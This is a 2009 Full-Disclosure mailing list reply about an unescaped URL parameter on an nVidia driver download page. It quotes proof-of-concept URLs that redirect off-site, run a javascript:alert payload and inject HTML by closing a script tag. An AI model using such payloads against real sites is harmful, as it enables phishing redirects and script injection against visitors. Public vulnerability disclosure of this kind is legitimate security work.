Re: nVidia.com [Url Redirection flaw]

["Jan G.B." <ro0ot.w00t () googlemail com>]

2009/3/24 ascii <ascii () ush it>:
> Pete Licoln wrote:
> > It's just a browser based Js redirection....
> http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=http://whatismyip.com
>
> and what makes it worst than an http redirection?
>
> http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=javascript:alert(document.domain);

Even special characters like quotes and <> are not escaped. The worst
redirect ever ;)

http://www.nvidia.com/content/DriverDownload/download_confirmation.asp?kw=&url=%22%3E%3C/script%3E%3Cbody%3E%3Ch1%3EActually%20this%20IS%20serious%3C/h1%3E%20%3Cscript%20x=%22

Anyone informed nvidia?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/